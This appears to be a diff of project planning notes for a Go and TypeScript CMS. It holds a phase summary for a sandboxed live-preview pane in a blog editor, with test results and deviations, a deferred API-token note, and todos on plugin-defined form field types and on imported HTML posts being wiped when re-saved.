+  - `previewBody`: an inert-document copy that drops script, iframe, frame, frameset, object, embed, meta, base and link elements and every `on*` attribute. It turns exact placeholders, checked with `isEmbedProvider` and `idPattern`, into `figure.embed-card` with an img and a figcaption.
+  - `buildPreviewDocument`: charset, CSP and referrer metas, one `<style>`, `lang` only when it matches the BCP-47-ish pattern, and `article.post-body`.
+- **blogeditor.css:** `.blogeditor__view`, `.blogeditor__panes--split` (`repeat(auto-fit, minmax(min(100%, 360px), 1fr))`), `.blogeditor__main`, `.blogeditor__preview` and its iframe. All are tag-scoped and use only `var(--c-*)`.
+- **tests/blogeditor/preview.test.ts:** 23 cases covering the toggle and aria-pressed, the locale, per-element state, lazy frame creation, usability in Source and disabled, the sandbox and CSP, the untouched and touched value contract, debounced live updates (WYSIWYG, debounce reset, Source, external value, idle when off, detach, untouched after renders), embed cards (en and pl), the invalid placeholder, the active-content drop, colours, lang and typography, and safeCssValue unit cases.
+- **README.md:** the Blog Editor toolbar sentence, a "**Preview.**" bullet and an Admin field-types sentence.
+
+## TDD Gate Compliance (Task 2)
+
+RED: the 14 Task 2 cases were added first and run against the Task 1 code (`node_modules/.bin/vitest run tests/blogeditor/preview.test.ts`). 10 of them failed:
+- live updates: re-renders a WYSIWYG edit after the debounce; restarts the debounce on every change; re-renders Source tab input; re-renders an external value
+- content: YouTube thumbnail card; active-content drop; colours; lang and typography
+- safeCssValue: both cases (export missing)
+
+4 passed already: schedules nothing while off, drops a pending render on detach, untouched after renders, and no thumbnail for an invalid placeholder. They hold trivially when there is no scheduling or no card. They are guards, not drivers.
+
+GREEN: after the preview.ts and element.ts changes, all 55 tests in the three files pass.
+
+## Bundle size
+
+| File | 16.2-02 baseline / before | After |
+|------|---------------------------|-------|

+| assets/dist/blogeditor.css | 7,480 B | 8,036 B (+556 B) |
+
+## Verification
+
+- `npm test`: 55/55 pass (smoke 31, corpus, preview 23). smoke.test.ts, corpus.test.ts, helpers.ts and the fixtures are unchanged against 9d5bfc4.
+- `bash scripts/check-dist.sh` prints `check-dist: assets/dist matches a fresh build`.
+- `go vet ./...` is clean.
+- package.json, package-lock.json, go.mod and go.sum are byte-identical to 9d5bfc4.
+- All three task verify commands passed, including the Task 1 tracer re-run before expansion.
+
+## Human judgment (browser check, not blocking)
+
+happy-dom cannot check these, so they need a look in a real browser in the admin post form:
+- Preview splits the editor 50/50 in light and dark mode, and the pane wraps below the editor in a narrow window (under about 720px element width).
+- A `<script>` in a raw HTML block does nothing in the pane (real sandbox enforcement).
+- A YouTube embed shows its thumbnail card, and the image loads under the admin CSP plus PREVIEW_CSP.
+- Relative image URLs (`/storage/...`) resolve in the srcdoc against the admin origin.
+
+## Deviations from Plan
+
+### Auto-fixed Issues
+
+**1. [Rule 1 - Bug] Iframe created lazily instead of at connect**
+- **Found during:** Task 1
+- **Issue:** The plan had connectedCallback create the iframe up front. The unedited smoke test `embeds > round-trips the exact placeholder and shows a card, never an iframe` asserts `el.querySelector('iframe')` is null after mount, so it failed.
+- **Fix:** `#previewFrameOf()` creates the iframe in the pane on the first `showPreview(true)` and reuses it afterwards. The pane div still exists, hidden, from connect. `#schedulePreview` stays idle until a frame exists. The locale test toggles on before reading the frame title, and a new case asserts there is no iframe before the first switch-on and exactly one after repeated toggles.
+- **Files modified:** element.ts, preview.test.ts
+- **Commit:** df67939
+
+## Out-of-scope observation
+
+The active-content test value holds `<iframe src="https://example.test/">`. When that value is mounted, happy-dom logs `ENOTFOUND example.test` fetch errors (stderr only, and the tests pass). A probe showed the source is `mount()` alone, meaning TipTap's existing `elementFromString` parses through `window.DOMParser`. Neither `previewBody` (inert document) nor the sandboxed srcdoc frame triggers it. Browsers do not load subresources in DOMParser documents, so this is a happy-dom artifact in the existing editor parse path. It predates this task and was not changed.
+
+## Known Stubs
+
+None.
+
+## Threat Flags
+
+None. The only new surface is the sandboxed srcdoc iframe and thumbnail requests to img.youtube.com, both covered by the plan's threat model (T-iwu-01 to T-iwu-07).

 Apparatus provides personal API tokens for backend admins (`PersonalApiToken` model, `TokenAuthenticate` + `ForceJsonResponse` middleware, token create/revoke on the backend user form). Nothing in Płytarium calls it, so it is deferred past v1. The Phase 9 `backend` guard already accepts `Authorization: Bearer` for CLI and tests.
 
 Revisit when a Golem15 project needs scripted access to the admin API. See `.planning/notes/apparatus-dissolved-into-framework.md`.

+**2026-10-10:** Promoted to Phase 16.3 (scoped tokens, Journal agent use case). No migration of Apparatus tokens.

+title: Let plugins register their own value-bearing cabana field types (Winter registerFormWidgets successor)
+area: framework
+severity: major
+files:
+  - modules/cabana/form_schema.go
+  - modules/cabana/crud.go
+  - modules/cabana/extension.go
+  - modules/pact
+  - admin/src/components/form/registry.ts
+---
+
+## Problem
+
+WinterCMS plugins ship their own form widgets through `registerFormWidgets()` and use them as `type: <widget>` fields that own a column value. cabana has no equivalent:
+
+- The field-type set is closed. `modules/cabana/form_schema.go` (the known-types map, around lines 25-29), `modules/cabana/crud.go` (the scalar type switch, around line 1226) and the SPA renderer registry `admin/src/components/form/registry.ts` list every type, and an unknown type fails boot.
+- The Phase 10.1 `type: widget` extension (`modules/cabana/extension.go`) mounts a plugin custom element, but the field is valueless: it runs a controller action and writes back declared scalar sibling fields through `fill:`. It cannot own a value, define its JSON shape, validate and decode it on save, or render it in lists.
+
+Plugins about to be ported deliver their own fields that cannot become cabana core types (raised during the Phase 18 discussion, 2026-10-09). Without this, each one forces a framework release or a workaround through widget actions.
+
+## Solution
+
+Add a capability interface in `pact` (for example `HasFormFieldTypes`) through which a plugin registers a namespaced field type (`{vendor}-{plugin}-*` or `vendor.plugin::type`):
+
+- Server side: a Go type that validates the field's YAML options at boot (fail-loud, like the built-ins), decodes and validates the submitted value (any JSON shape), maps it to the column, and optionally formats it for list columns.
+- Client side: a custom element served through the existing `pact.AdminClientAssets` mechanism. It binds a value through a documented contract (a `value` property plus a `summer-change` event) instead of the action/fill round-trip, and reads the public `--c-*` CSS variables only.
+- The form schema and the generated TS types carry plugin types as a generic `plugin-field` shape so the SPA build does not need to know them.
+- Update the cabana README and `docs/`, the admin OpenAPI and the generated types, and commit `dist/`, all in the same change.
+
+Decide in a framework phase (or a decimal phase before the first plugin that needs it). Phase 18's `money` field stays a core cabana type (18-CONTEXT); this todo covers the plugins that follow.

+title: Keep imported HTML post bodies intact when a Journal post is re-saved in the admin
+date: 2026-10-09
+priority: high
+area: sm-journal-plugin
+---
+
+Phase 16 RESEARCH Pitfall 2. The PHP journal export carries the pl post `content` as **HTML** (61 of 63 published posts on grzybyfunkcjonalne.pl). `journal:import-posts` stores it as is and the pl `content_html` is correct, so imported posts render fine. But an admin save of such a post runs `FormatHTML(content)`: goldmark without `html.WithUnsafe()` replaces raw HTML with `<!-- raw HTML omitted -->`, so the post body is wiped (probe in 16-RESEARCH.md: `pl HTML content -> out="<!-- raw HTML omitted -->\n"`).
+
+Until this is fixed, **do not edit imported posts in `/gfadmin`** (the sm-grzybyfunkcjonalne-app README repeats the warning).
+
+Fix in `sm-journal-plugin`, one of:
+
+- convert HTML content to markdown at import (an HTML-to-markdown step in `journal:import-posts`), or
+- pass raw HTML through on save when the stored content is HTML (detect it, keep the three-pattern `CheckHTML` gate, skip goldmark), or
+- add a content format flag on the post so HTML-sourced posts are edited as HTML.
+
+Whatever the fix, it must keep the XSS gate (`classes.CheckHTML`) on every write path and keep the PHP API contract of `content`/`content_html` unchanged. Add a test that re-saves an imported HTML post and asserts `content_html` is unchanged.
